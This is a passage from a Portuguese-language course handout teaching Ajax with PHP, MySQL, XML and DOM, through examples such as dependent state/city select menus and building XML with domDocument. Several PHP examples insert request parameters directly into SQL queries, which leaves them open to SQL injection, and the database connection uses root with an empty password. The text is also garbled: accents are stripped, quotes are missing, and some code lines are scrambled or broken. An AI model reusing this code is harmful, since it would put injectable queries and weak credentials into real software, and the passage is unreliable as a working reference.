Aps termos efetuado a etapa acima nossa funo ainda no est concluda, aps o documento dinmico ter sido solicitado ao servidor, este passar por 5 estados de requisio, os quais podem ser observados a seguir e devem ser analisados em nosso algoritmo conforme o tipo de implementao que estamos realizando: Estados: 0: No inicializado (unitialized) 1: Carregando (loading) 2: Carregado (loaded) 3: Interativo (interactive) 4: Concludo (completed) Dependendo da funcionalidade do seu script voc utilizar testes para verificar qual tipo de estado em que se encontra a leitura do documento no lado do servidor para o lado do cliente, sendo que para executar este processo precisaremos chamar dois outros mtodos em nossa funo: onreadystatechange: mtodo que avalia a situao do documento carregado, e em cada mudana do estado de leitura realiza determinados processos impostos pelo algoritmo. objeto.readyState: mtodo que retorna o estado de leitura do documento o qual foi solicitada a execuo e carregamento. Logo, devemos ento incorporar estes mtodos em nossa funo, ficando a mesma da seguinte maneira: function acessa(){ criaxmlhttp(); xmlhttp.open("GET","arquivo01.php,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4) alert(Dados Carregados!); } xmlhttp.send(null); }
28
Observe que neste caso s nos interessa o estado de leitura 4, ou seja, estamos executando determinada ao somente quando o servidor tiver retornado por completo os dados do documento dinmico e sua execuo estiver sido completada do outro lado. Laboratrio: Tendo em vista o que foi ensinado at o momento j temos idia de como so analisadas as requisies em Ajax de uma forma macro. Elabore um script aproveitando as funes vistas anteriormente de forma que seja solicitada a execuo de um script dinmico em no servidor e enquanto este no estiver completamente carregado seja exibida em uma DIV a mensagem: Aguarde: carregando...
3.8 Verificando os dados retornados pelo servidor:

Os dados que foram lidos pelo Javascript na conexo assncrona so retornados pelo servidor de duas formas: Formato Texto (simples); Formato XML (mais organizado, porem mais complexo); Como teremos um capitulo introdutrio ao XML, iremos primeiramente tratar os dados recebidos em forma de texto, mas para isso teremos que implementar um script simples que far o papel do nosso j mencionado arquivo01.php responsvel por retornar os dados solicitados ao servidor. Crie um novo arquivo e salve-o no mesmo diretrio que o arquivo HTML e JS que estamos utilizando. Nomeie-o como arquivo01.php. Este arquivo conter simplesmente a seguinte linha: <?php echo Curso de AJAX; ?>
3.9 Retornos em texto simples:

Para realizamos a leitura dos dados passados do servidor para o cliente no caso simples, ou seja, formato texto teremos de criar uma terceira funo responsvel por coletar e interpretar esses dados, dando assim o tratamento necessrio a eles conforme a nossa necessidade.
29
Quando tratamos de dados em formato texto temos um mtodo chamado responseText onde ficam armazenados todos os dados que foram retornados do servidor no momento de execuo do script solicitado. Crie ento uma nova funo a qual chamaremos de monta(), ficando ela como mostrado abaixo:
function monta(){ var dados = xmlhttp.responseText; }

Como voc pode observar criada uma varivel dados na qual o mtodo responseText chamado em conjunto com o objeto j criado anteriormente xmlhttp. Todos os dados retornados pelo servidor esto agora armazenados dentro desta varivel, podendo ser tratados como uma varivel simples Javascript. Criaremos no mesmo documento uma DIV com o nome de CONTEUDO e injetaremos dentro dela o contedo retornado pelo servidor: function monta(){ var dados = xmlhttp.responseText; document.getElementById(CONTEUDO).innerHTML = dados; }
Desta forma deveremos simplesmente chamar esta funo dentro da nossa j implementada funo acessa(), ficando a mesma disponibilizada da seguinte forma: function acessa(){ criaxmlhttp(); xmlhttp.open("GET","arquivo01.php,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ monta(); else document.getElementById(CONTEUDO).innerHTML "Carregando..."; } =
30
xmlhttp.send(null); }
ATENO: nunca se esquea de finalizar a funo acessa() com o mtodo xmlhttp.send, pois caso contrrio o servidor fica aguardando uma finalizao da conexo assncrona e no retorna os dados para o browser. DICA: da mesma maneira que voc solicita a execuo de um arquivo ao servidor, voc pode passar para eles variveis que sero recebidas do outro lado pelo mtodo que voc as enviou, veja o exemplo: xmlhttp.open(GET,arquivo01.php?id_pessoa=+15,true);
S no se esquea de setar o mtodo correto acima para que o script interprete e receba as variveis enviadas pelo Javascript no momento de execuo. Exemplo: Utilizando um pouco mais de manipulao de elementos em DOM, realize o seguinte exerccio: Monte um documento em HTML que possua dois componentes do tipo SELECT em um formulrio, sendo que no primeiro sero listados alguns estados brasileiros e no outro ao selecionar-se o estado sero apresentadas as respectivas cidades deste estado, conforme mostrado na imagem abaixo:
Soluo: Para resolver este exerccio voc necessitar de 4 arquivos: cidades.php: arquivo onde ficar o formulrio HTML. ajax01.js: Java script que ser responsvel pela execuo assncrona do arquivo dinmico no servidor e recuperao dos dados para o cliente.
31
ajax01.php: arquivo dinmico que ser executado pelo Ajax no servidor. conexo.php: arquivo simples em php que simplesmente far a conexo com o banco de dados. Primeiro crie as tabelas no banco de dados usando a seguinte query: CREATE TABLE IF NOT EXISTS estados ( id_estado int(10) unsigned NOT NULL auto_increment, sigla char(2) , nome varchar(50) , PRIMARY KEY (id_estado) ); INSERT INTO estados VALUES("1", "RS", "Rio Grande do Sul"); INSERT INTO estados VALUES("2", "SC", "Santa Catarina"); INSERT INTO estados VALUES("4", "SP", "So Paulo"); INSERT INTO estados VALUES("5", "RJ", "Rio de Janeiro"); CREATE TABLE IF NOT EXISTS cidades ( id_cidade int(10) unsigned NOT NULL auto_increment, id_estado int(10) unsigned , nome varchar(100) , PRIMARY KEY (id_cidade) ); INSERT INTO cidades VALUES("1", "1", "Porto Alegre"); INSERT INTO cidades VALUES("2", "1", "Alvorada"); INSERT INTO cidades VALUES("3", "1", "Viamo"); INSERT INTO cidades VALUES("4", "2", "Sombrio"); INSERT INTO cidades VALUES("5", "2", "So Joo do Sul"); INSERT INTO cidades VALUES("6", "4", "So Paulo"); INSERT INTO cidades VALUES("7", "5", "Rio de Janeiro");
Agora que possumos os dados que sero acessados no banco de dados, criamos o arquivo de conexo com o banco: CONEXAO.PHP
32
<?php mysql_connect('localhost','root','') or die(mysql_error()); mysql_select_db('alfamidia'); ?> A seguir o arquivo CIDADES.PHP o qual ser a interface para o usurio: <?php include('includes/conexao.php'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <script src="ajax01.js" type="text/javascript"> </script> <title>Exercicio Ajax</title> </head> <body> <form id="form1" name="form1" method="post" action=""> <table width="400" border="0" cellspacing="2" cellpadding="2"> <tr> <td colspan="2">Formulário:</td> </tr> <tr> <td width="55">Estado:</td> <td width="331"> <select name="estado" id="estado" onchange="acessa('cidades',this.value);" > <option value="00">Selecione</option> <?php $sql = "select * from estados order by nome"; $rs = mysql_query($sql) or die(mysql_error());
33
$total = mysql_num_rows($rs); for($x = 0; $x < $total; $x++) { $id_estado = mysql_result($rs, $x, 'id_estado'); $nome = mysql_result($rs, $x, 'nome'); ?> <option value="<?php echo $id_estado; ?>"><?php echo $nome; ?></option> <?php } ?> </select> </td> </tr> <tr> <td>Cidade:</td> <td> <select name="cidades" id="cidades"> </select> </td> </tr> </table> </form> </body> </html>
Agora que possumos o documento que ser apresentado ao clientes, criaremos as duas ultimas camadas restantes. O processo de leitura em Ajax consiste em solicitarmos atravs de uma funo em Java script que um arquivo em php seja executado no servidor, iremos ento atravs dessa execuo enviarmos um valor (id_estado) para o servidor e o mesmo executar uma query no banco de dados retornando as cidades respectivas do estado selecionado. AJAX01.PHP <?php include('conexao.php');
34
$id_estado = $_GET["id_estado"]; $sql = "select * from cidades where id_estado = $id_estado"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); $resultado = ''; for($x = 0; $x < $total; $x++){ $resultado .= utf8_encode(mysql_result($rs, $x, 'nome')) . ','; } echo $resultado; ?> Observe que devido a codificao de caracteres recomendvel converter a string enviada para utf8 antes de prosseguir com a operao. Por fim, iremos montar o arquivo em Java script que realizar a requisio ao servidor: AJAX01.JS function criaxmlhttp(){ try{ xmlhttp = new XMLHttpRequest(); }catch(e){ try{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e1){ try{ xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e2){ xmlhttp = false; document.write("Navegador no da suporte a Ajax!"); } } } }
35
function acessa(elemento,valor){ criaxmlhttp(); xmlhttp.open("GET","ajax01.php?id_estado="+valor,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ monta(elemento); }else{ document.getElementById(elemento).innerHTML ="Carregando..."; } } xmlhttp.send(null); } function monta(elemento){ var dados = xmlhttp.responseText; campo = document.getElementById(elemento); campo.options.length = 0; var dados_vet = dados.split(','); for(i = 0; i < dados_vet.length-1; i++){ campo.options[i] = new Option(dados_vet[i]); } } Devemos neste caso apenas dar uma ateno especial a funo monta(), a qual foi modificada para manipular via DOM as propriedades do componente SELECT do formulrio que montamos. De qualquer forma a manipulao por texto a mais simples e mais usada por Ajax atualmente, sendo que devemos ter domnio e dar a devida importncia a manipulao de elementos do documento via DOM. Laboratrio:
36
1. Crie dois selects: O primeiro deve conter uma lista de tipos de filme que seja carregada a partir de um banco de dados. Ao clicar duas vezes sobre o tipos de filme o mesmo deve ser deslocado para o select 2. 2. Crie um select com uma lista de 3 pginas que ao ser alterado mudar o contedo de uma div para a pgina montada com algum parmetro. 3. Monte uma caixa de texto que pesquise o que for digitado e mostre o que for encontrado em uma tabela em uma div logo abaixo(como um auto-completar) 4. Crie uma lista de categorias de produtos que exiba em uma textarea a lista dos produtos desta categoria.
Unidade 4 - Estrutura de um documento XML
Dentre o uso do Ajax, temos como acompanhamento a utilizao de uma tecnologia j bem difundida no ambiente web e no desenvolvimento de software, o qual se resume a simplicidade e a eficcia entre a compatibilidade de outras diversas tecnologias do mercado, o XML (eXtensible Markup Language). O XML consiste em um arquivo parecido com o HTML, porem ao invs de possuir tags com formatao, possui dados. A sua organizao mais rgida e imposta por padres globais, isso se justifica ao fato de o XML ser utilizado seguidamente por dispositivos de baixo poder de armazenamento e processamento (celulares, pdas, palmtops, etc), o que os impede de realizar o debug do cdigo como ocorre nos computadores domsticos por exemplo. A estrutura de um documento XML e baseada em TAGS, sendo que possumos algumas regras bsicas para a criao de um documento XML consistente, veja o exemplo abaixo:
37
<?xml version="1.0" encoding="iso-8859-1"?> <municpios> <cidades> <cidade> <nome>Porto Alegre</nome> </cidade> <cidade> <nome>Viamo</nome> </cidade> </cidades> </municpios>
Onde: Municpios: TAG root (PAI) do documento, todo documento XML deve possuir uma TAG ROOT, a qual no possui dados, e sim somente filhos (cidades). Cidades: nodo ou n filho da tag root municpios. Cidade: nodo ou n filho da tag cidades, e neta da tag root municpios, possui um n irmo (com mesmo nvel hierrquico) chamado cidade. O documento XML possui extenso XML, e deve sempre vir acompanhado de um cabealho especifico, onde o atributo encoding opcional. Ao criar as tags no seu arquivo XML nunca use espaos e acentos ou caracteres especiais. Os navegadores mais comuns (Internet Explorer e Firefox) possuem uma grande facilidade na interpretao destes arquivos, sendo que erros de sintaxe como mal fechamentos das tags por exemplo acusam erros no navegador, o que gera a seguinte forma de retorno: Firefox:
Internet Explorer:
38
DICA: a utilizao dos arquivos XML muito comum no ambiente Microsoft, exemplo disso a nova extenso de documento do Office 2007, onde seguem os padres antigos, porem com um X no final (.*docx, *.xlsx, *.pptx) isso tornou os arquivos mais leves e acessveis mesmo para quem no possui o Office. Os documentos XML geralmente so gerados por um arquivo dinmico, exemplo disso so os arquivos de Feeds (RSS), onde vemos noticias e informaes incorporadas e atualizadas a cada minuto por um determinado site. Como estamos trabalhando com Ajax e PHP veremos ento uma forma prtica de criarmos um arquivo XML utilizando de DOM e PHP juntos. Laboratrio. 1. Crie um XML que reproduza a estrutura de notas de alunos 2. Crie um XML que reproduza a estrutura de cadastros de produtos 3. Crie um XML que reproduza o cadastro de clientes 4. Crie um XML que demonstre uma tabela de classificao de times de futebol 5. Crie um XML que represente a cotao de vrias moedas
4.2 Montando um documento XML com DOM e PHP.

As verses mais recentes do PHP possuem uma classe chamada domDocument a qual permite manipularmos uma serie de elementos de documentos com o PHP. com esta classe que poderemos elaborar a montagem de um arquivo XML pelo nossos script dinmico. Primeiramente iremos exemplo01_xml.php. criar um documento novo em PHP e o salvaremos como
39
Como mencionado anteriormente utilizaremos um classe embutida no php que nos permite a manipulao de elementos com DOM, logo necessitamos instanciar esta classe em um objeto: $dom = new domDocument;
Para criarmos uma nova tag, no nosso caso a primeira a ser criada ser definiada por nos como tag ROOT do documento, precisaremos chamar o mtodo cretaElement, que possui a seguinte sintaxe: Objeto.createElement(nome,valor); Ou seja, $municipios = $dom->createElement(municipios);
Toda vez que criamos um elemento, este ficar solto no ambiente at que seja designado um pai a este nodo, para realizarmos esta atribuio necessitamos de um outro mtodo chamado appendChild, que possui a seguinte sintaxe: Objeto.appendChild(nodo); Ou seja, $dom->appendChild($municipios);
Por fim deveremos salvar o XML criado em um novo documento, porem com extenso apropriada: $dom->save(exemplo01_xml.xml);
Um script bsico para a criao do XML se resume como mostrado a seguir: EXEMPLO01_XML.PHP <?php $dom = new domDocument; $municipios = $dom->createElement('municipios'); $dom->appendChild($municipios); $dom->save('exemplo01_xml.xml'); ?> Quando executarmos o documento gerado pelo nosso arquivo php obteremos a seguinte apresentao:
40
Como no possumos nenhum dado dentro da TAG municpios o prprio PHP trata de resumi-la, sendo que este processo no obrigatrio, mas tratado como uma certa elegncia nos padres de leitura. Observe agora que se quisermos dar continuidade a criao do XML at que tenhamos estrutura semelhando a apresentada no inicio deste capitulo deveremos atentar para um detalhe: $dom->appendChild($municipios); O Objeto $dom quem recebe como filho a tag municpios. Logo, se criarmos outro elemento chamado cidades, quem receber o elemento como filho no ser o objeto $dom e sim o objeto $municipios: $cidades = $dom->createElement(cidades); $municipios->appendChild($cidades);
Faremos o mesmo processo com os outros elementos: $cidade = $dom->createElement('cidade'); $cidades->appendChild($cidade); Por fim, criaremos os ltimos elementos irmo filhos de cidade: $nome = $dom->createElement('nome','Porto Alegre'); $cidade->appendChild($nome); Veja abaixo o cdigo completo do algoritmo em php: <?php $dom = new domDocument; $municipios = $dom->createElement('municipios'); $dom->appendChild($municipios); $cidades = $dom->createElement('cidades'); $municipios->appendChild($cidades); $cidade = $dom->createElement('cidade'); $cidades->appendChild($cidade);
41
$nome = $dom->createElement('nome','Porto Alegre'); $cidade->appendChild($nome); $dom->save('exemplo01_xml.xml'); ?>
O resultado ser o seguinte:
A maneira de implementao do PHP em XML bem simples e funcional, lembrando que podemos fazer algo mais robusto e dinmico interagindo diretamente com o banco de dados. Laboratrio: Como mencionado anteriormente podemos implementar um XML atravs de retorno de dados vindos do banco de dados: 1. Implemente um algoritmo em PHP que retorne os dados da tabela de cidades da base de dados j criada anteriormente. Veja uma forma de interpretao do diagrama abaixo:
42
Como mencionado anteriormente podemos implementar um XML atravs de retorno de dados vindos do banco de dados: 2. Monte dinamicamente um XML que represente uma receita 3. Crie e alimente um XML dinamicamente que mostre um organograma simples de uma empresa 4. Crie e alimente um XML dinamicamente que represente um currculo 5. Crie e alimente um XML dinamicamente que mostre e hierarquia de pastas de um computador
4.3 Montando um XML em PHP de forma Textual

muito comum vermos arquivos em verses anteriores do PHP utilizando a forma textual (strings) para retornar e gerar arquivos em XML pelo script. Esta forma apesar de no muito adequada, pois bem sujeita a erros, ainda muito utilizada e consistem em atravs de Loops ou somente atribuio armazenar a sintaxe do arquivo XML em uma varivel PHP. Veja um exemplo abaixo: <?php $xml = '<?xml version="1.0" encoding="iso-8859-1"?>'; $xml .= '<municpios>'; $xml .= '<cidades>';
43
$xml .= '<cidade>'; $xml .= '<nome>Porto Alegre</nome>'; $xml .= '</cidade>'; $xml .= '<cidade>'; $xml .= '<nome>Viamao</nome>'; $xml .= '</cidade>'; $xml .= '</cidades>'; $xml .= '</municpios>'; echo $xml; ?>
4.4 Retorno do contedo em XML para o Ajax

Aps termos adotado uma forma de gerarmos o arquivo XML com os dados que devem ser acessados pelo Javascript, teremos que de alguma forma realizar a leitura destes dados pelo navegador. Vimos anteriormente que a atravs do mtodo obj.responseText, os dados retornados em formato TEXTO podem ser lidos e tratados facilmente pelo nosso script. Agora utilizaremos outro mtodo especifico para a leitura dos dados XML, o obj.responseXML, onde teremos mais facilidade em navegar pela estrutura do documento, podendo acessar diretamente nveis hierrquicos dentro do mesmo e atributos de cada TAG existente dentro do XML. Veja um exemplo prtico a seguie e logo acompanhe a analise, lembrando que aproveitaremos a nossa funo j implementada (criaxmlhttp()). function leXML(url) { criaxmlhttp(); document.getElementById("cabecalho").innerHTML = "Carregando "; xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-Type", urlencoded"); "application/x-www-form-
xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, mustrevalidate"); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState == 4) {
44
if (xmlhttp.status == 200) { montaResultado(); } } } xmlhttp.send(null); }
Observe que alguns novos elementos esto disponveis na sintaxe da funo que l nosso documento XML. O mtodo setRequestHeader responsvel por inserir informaes adicionais no cabealho do documento lido passando alguns parmetros para variveis j definidas na estrutura: xmlhttp.setRequestHeader("Content-Type", urlencoded"); "application/x-www-form-
xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, mustrevalidate");
Na primeira linha estamos atribuindo o valor de Aplicao ao tipo de contedo lido, j na segunda o script seta o Controle de Cache do navegador como sem armazenamento, Sem cach, Revalidavel, ou seja, estamos limpando o cach do navegador para executar a leitura desses dados, evitando assim que os mesmos sejam reaproveitados pelo browser. Logo a seguir voc pode observar que nosso teste de leitura do documento acesado efetua um novo teste com o mtodo xmlhttp.status, onde estamos verificando se o mesmo igual a 200, ou seja, se a pgina requisitada foi encontrada pelo servidor. O valor 200 significa pgina encontrada, podendo ser trocado por outros valores que significam outros estados de acessibilidade do documento. Veja a tabela a seguir: Cdigo 200 Significado Ready Descrio Documento encontrado e pronto para ser lido. Requisio compreendida servidor. no pelo
400 401
Bad Request Unauthorized
A requisio s pode ser
45
retornada autenticao. 403 Forbidden
mediante
O objeto no tem autorizao de realizar a requisio. Documento encontrado. no
404
Not Found
405
Method not Allowed
O mtodo utilizado para executar a requisio no permitido pelo servidor ou pelo documento. O servidor retornou um erro ao tentar responder a requisio.
500
Internal Server Error
Vamos agora implementar uma funo capaz de navegar por cada elemento do documento XML que lemos durante a requisio: function montaResultado(){ var dados_xml = xmlhttp.responseXML; // Recupera todos os elementos categoria do objeto XML var cidades = dados_xml.getElementsByTagName("cidades"); for (var i = 0; i < cidades.length; i++) { // Atribui a cidade cada elemento cidade = cidades[i]; for(var x = 0; x < cidade.childNodes.length; x++){ codigo = cidade.getElementsByTagName("codigo")[x].firstChild.nodeValue; descricao = cidade.getElementsByTagName("descricao")[x].firstChild.nodeValue; // Chama a funo que cria as linhas da tabela document.write(codigo); document.write(descricao); document.write("<hr>");
46
} } } Como podemos observar o resultado retornado pelo documento requisitado foi armazenado na varivel dados_xml atravs do mtodo j mencionado responseXML. Inicialmente o script realizar a busca de um elemento pelo nome de sua TAG, utilizando-se do mtodo getElementByTagName, logo aps da mesma forma que fazamos com o documento em formato texto, realizado um loop que percorre os nodos filhos dessa tag, e atribui esses valores as variveis cdigo e descrio. Neste caso importante ressaltar a utilizao do mtodo childNodes, o qual refere-se aos nodos filhos da tag selecionada. Veja abaixo alguns outros mtodos importantes no Java Script que facilitam bastante a navegao por um documento XML. .childNodes: retorna um vetor com o ndice de ns (nodos) do elemento referenciado. .firstChild: retorna o primeiro nodo filho do elemento referenciado. .lastChild: retorno o ultimo nodo filho do elemento referenciado. .nodeValue: recupera o valor de um nodo. .parentNode: retorna o nodo pai do elemento referenciado. .nextSibiling: retorna o elemento irmo localizado posteriormente ao elemento atual. .previousSibiling: retorna o elemento irmo localizado anteriormente ao elemento atual. .getElementsByTagName: retorna um vetor contendo a relao dos nodos filhos do elemento referenciado. .hasChildNodes: retorna um valor booleano (true ou false) caso o elemento possua nodos filhos. .getAttribute: retorna o valor desejado de um atributo do elemento referenciado. Laboratrio: 1. Crie, alimente e retorne o contedo de um XML que mostre uma seqncia de jogos do campeonato brasileiro com seus resultados 2. Crie, alimente e retorne o contedo de um XML que represente os horrios de linhas do nibus intermunicipais 3. Crie, alimente e retorne o contedo de um XML que exiba a configurao de alguns notebooks 4. Crie, alimente e retorne o contedo de um XML que demonstre a lista de compras de usurios em um e-commerce
47
5. Crie, alimente e retorne o contedo de um XML que represente a discografia de determinados artistas
48
Unidade 5 - Requisies dinmicas em Ajax ao PHP

5.1 Criando um documento XML textual com conexo ao banco de dados
Iremos agora unir o que vimos at o momento, sendo que os dados do documento XML que iremos montar sero acessados diretamente do servidor. A lgica do processo simples, o usurio acessara um documento HTML que possuir um componente responsvel por executar um script dinmico em PHP no servidor, este script por usa vez ir gerar um documento em XML e retornar esses dados ao usurio. Para realizar estas atividades utilizaremos um template muito conhecido na rea de PHP chamado templatepower, que pode ser facilmente localizado na Internet. Em primeiro lugar vamos criar um novo documento HTML o qual possuir simplesmente dois menus de seleo dentro de um formulrio. Observe: Site_cidades.htm <select name="id_uf" onChange="Dados(this.value);" class="formulario3"> <option value="0">--Selecione o estado >></option>  <option value="{id_uf}" {pselect}>{descricao_abreviada}</option>
49
 </select> <select name="listCidades" class="formulario3"> <option id="opcoes" value="0">--Primeiro selecione o estado-</option> </select>
O processo todo ser realizado no momento em que clicarmos no menu estado formulrio. Vamos antes montar o arquivo php que interpretar este documento HTML realizando a conversao com o banco de dados e montando o MENU dos estados, no esquecendo de incluirmos dois arquivos (conexo.php e a classe TemplatePower, responsvel pelo sistema de uso de templates): Site_cidades.php <?php include('class.TemplatePower.inc.php'); include('conexao.php'); $sql = "select estados.* from estados order by estados.nome"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); $tpl = new TemplatePower( "./site_cidades.htm" ); $tpl->prepare(); for($x = 0; $x < $total; $x++){ $tpl->newBlock('LOOP-UF');
50
$tpl->assign('id_uf',mysql_result($rs, $x, 'id_estado')); $tpl->assign('descricao_abreviada',mysql_result($rs, $x, 'nome')); } $tpl->gotoBlock('_ROOT'); $tpl->printToScreen(); ?>
Aps este processo implementaremos agora o ultimo arquivo dinmico, o documento que ser responsvel por retornar os dados do banco de dados em formato XML para o navegador. Ajax_cidades.php include_once('conexao.php'); $pEstado = $_POST["estado"]; $sql = "select * from cidades where id_uf = ".$pEstado." order by nome"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); //VERIFICA SE VOLTOU ALGO if($total > 0){ $xml = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n"; $xml .= "<cidades>\n"; for($x = 0; $x < $total; $x++){ $xml .= "<cidade>\n"; $xml .= "<codigo>".mysql_result($rs, $x, 'id_cidade') ."</codigo>\n"; $xml .= "<descricao>".mysql_result($rs, $x, 'descricao')."</descricao>\n"; $xml .= "</cidade>\n"; } $xml.= "</cidades>\n"; header("Content-type: application/xml; charset=iso-8859-1");
51
} echo $xml; ?>
Se voc executar este documento no navegador, poder observar que ele retorna um documento XML em formato Textual, ou seja, ao longo da implementao criamos uma string que recebia os valores do XML e os atribua a si mesmo, bastando no final escreve-la na tela.
O documento XML retornado como esse, porem populado com os dados do banco:
<cidades> <cidade> <id_cidade></id_cidade> <descricao></descricao> </cidade> <cidade> <id_cidade></id_cidade> <descricao></descricao> </cidade> </cidades>
Criaremos ento um novo arquivo em .JS e nele armazenaremos as nossas funes, s no esquea de incluir este arquivo no documento HTML aps a sua concluso. Ajax_cidades.js function Dados(valor) { //verifica se o browser tem suporte a ajax try { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { try {
52
ajax = new ActiveXObject("Msxml2.XMLHTTP"); } catch(ex) { try { ajax = new XMLHttpRequest(); } catch(exc) { alert("Esse browser no tem recursos para uso do Ajax"); ajax = null; } } } if(ajax) { //deixa apenas o elemento 1 no option, os outros so excludos document.forms[0].listCidades.options.length = 1; idOpcao = document.getElementById("opcoes");
ajax.open("POST", "../php/ajax_cidades.php", true); ajax.setRequestHeader("Content-Type", "application/x-www-formurlencoded"); ajax.onreadystatechange = function() { //enquanto estiver processando...emite a msg de carregando if(ajax.readyState == 1) { idOpcao.innerHTML = "Carregando...!"; } //aps ser processado - chama funo processXML que vai varrer os dados if(ajax.readyState == 4 ) { if(ajax.responseXML) { processXML(ajax.responseXML); }
53
else { //caso no seja um arquivo XML emite a mensagem abaixo idOpcao.innerHTML = "--Primeiro selecione o estado--"; } } } //passa o cdigo do estado escolhido var params = "estado="+valor; ajax.send(params); } } Como voc pode observar fizemos a juno das conexes e componentes de objetos em XMLHttp em uma mesma funo desta vez, esta sistemtica opcional e voc pode optar por manter a utilizao de funes separadas, como foi o caso de usarmos anteriormente a funo criaxmlhttp() para o Ajax. Por fim, logo aps esta funo iremos disponibilizar no mesmo arquivo a funo responsvel por montar o menu de opes com as cidades listadas conforme o estado escolhido. function processXML(obj){ //pega a tag cidade var dataArray = obj.getElementsByTagName("cidade"); //total de elementos contidos na tag cidade if(dataArray.length > 0) { //percorre o arquivo XML paara extrair os dados for(var i = 0 ; i < dataArray.length ; i++) { var item = dataArray[i]; //contudo dos campos no arquivo XML var codigo = item.getElementsByTagName("codigo")[0].firstChild.nodeValue; var descricao = item.getElementsByTagName("descricao")[0].firstChild.nodeValue; idOpcao.innerHTML = "--Selecione uma das opes abaixo--";
54
//cria um novo option dinamicamente var novo = document.createElement("option"); //atribui um ID a esse elemento novo.setAttribute("id", "opcoes"); //atribui um valor novo.value = codigo; //atribui um texto novo.text = descricao; //finalmente adiciona o novo elemento document.forms[0].listCidades.options.add(novo); } }else { //caso o XML volte vazio, printa a mensagem abaixo idOpcao.innerHTML = "--Primeiro selecione o estado--"; } } A estrutura muito parecida com o que vimos no capitulo anterior, sendo que devemos dar ateno aos mtodos de Dom responsveis pela montagem do menu de listagem no HTML. Exemplo: document.forms[0].listCidades.options.add(elemento); A sintaxe simples, mostrando que apenas da mesma maneira que navegamos por nveis no XML devemos acessar os elementos do documento. Como mencionado anteriormente o domnio do DOM essencial para a realizao de bons trabalhos em Ajax. O resultado do seu script ser como mostrado na imagem abaixo:
55
Laboratrio: 1. Crie um formulrio como o do Twitter, que ao postar o contedo postado aparea logo abaixo
2. Crie uma lista de notcias que seja exibida dinamicamente conforme a tela abaixo
56
57
Unidade 6 - Manipulando o DOM em Javascript para recursos com Ajax

6.1 Acesso aos estilos dos componentes do documento
Esta unidade tem como fins introdutrios os captulos finais deste curso, como mencionado desde o inicio o domnio de DOM essencial para aproveitarmos ao mximo os recursos do Java Script em conjunto com Ajax. Como voc j deve saber o acesso aos estilos dos componentes do documento web feito principalmente por folhas de estilos, o CSS. Estas propriedades podem tambm ser acessadas via DOM, dando mais nfase aos recursos que queremos disponibilizar ao documento para o usurio. Veja o documento a seguir: <html> <head> </head> <body> <div id="quadro"> Curso de Ajax </div> </body> </html>
Este cdigo simplesmente cria um documento HTML composto por uma DIV que possui um contedo. As propriedades dessa DIV podem ser modificadas por um SELETOR no arquivo CSS deste documento. Entretanto, como a mesma possui um nome (ID) podemos acessa-la facilmente pelo DOM do Javascript. Caso quisssemos atribuir uma borda nela por exemplo: elemento = document.getElementById("quadro"); elemento.style.border= '1px #FF0000 dashed';
58
Como voc pode observar primeiro devemos procurar o elemento dentro do documento com o mtodo getElementById. Aps isso armazenamos o mesmo dentro de uma varivel, e a seguir acessamos todo e qualquer propriedade deste elemento por nveis. elemento = document.getElementById("quadro"); elemento.style.border = elemento.style.width = '1px #FF0000 dashed'; '100px'; 'absolute'; '#FF0000';
elemento.style.position = elemento.style.color =
elemento.style.background =
'#FFFFFF';
Consultando um guia das principais tags em CSS voce pode melhorar as suas apresentaes em Ajax, atribuindo cores e comportamentos conforme o resultado retornado. Vamos agora atribuir essas propriedades uma funo e executa-la no ato de carregamento do documento. <html> <head> <script type="text/javascript"> function estilo(){ elemento = document.getElementById("quadro"); elemento.style.border = elemento.style.width = '1px #FF0000 dashed'; '100px'; 'absolute'; '#FF0000';
elemento.style.position = elemento.style.color = } </script> </head> <body onload="estilo();"> <div id="quadro"> Curso de Ajax </div>
elemento.style.background =
'#FFFFFF';
59
</body> </html>
Laboratrio. 1. Crie os seguintes formulrios e funes que permitam manipular suas caractersticas de estilos:
60
2. 2.Cria as seguintes tabelas e funes que permitam manipular suas caractersticas de estilos.
61
6.2 Bibliotecas livres: a facilidade na manipulao de documentos

A facilidade em trabalhar com desenvolvimento web se d principalmente a termos a nossa disposio milhares de contedos livres disponveis na internet, sendo que muitos desenvolvedores no se contentam somente a desenvolver solues com as ferramentas e linguagens disponveis, e acabam por querer melhorar a forma de desenvolvimento como um todo visando ganhar tempo e melhor a eficcia das suas aplicaes. Exemplo disso e a utilizao de uma biblioteca rpida e concisa que simplifica a escrita da codificao Java Script no HTML, a JQuery.
62
Disponvel para download no endereo: http://jquery.com/, o prprio slogan da biblioteca j diz: Escreva menos, faa mais. Esta biblioteca se baseia em inmeras expresses regulares que realizam o teste de cada sintaxe disponvel na linguagem Java Script e permite que estes comandos sejam resumidos no cdigo, sendo depois trocados por suas verdadeiras codificaes pela prpria biblioteca. Existem diversas outras bibliotecas concorrentes, sendo que dentre elas podemos citar: Prototype, Dojo, Yahoo! UI, entretanto a JQuery destaca-se pela sua facilidade de uso e pelo seu tamanho: 19Kb j com o modulo de Ajax! Veja abaixo um exemplo diferenciando o da implementao feita com JQuery: $(a).click(function(){ alert(Voce clicou!); }); Neste exemplo estamos dizendo que todo e qualquer link (TAG A) ao ser clicado (evento onclick) ir executar a mensagem Voc clicou!. Ou seja, em 3 linhas voc consegue expressar uma serie de testes e configuraes com inmeros comportamentos vinculados a eventos por exemplo. Imagine que voc deseje selecionar todas as tags DIV do seu documento: Java Script: document.getElementsByTagName(div); JQuery: $(div); Agora suponhamos que voc queira selecionar uma DIV com um ID 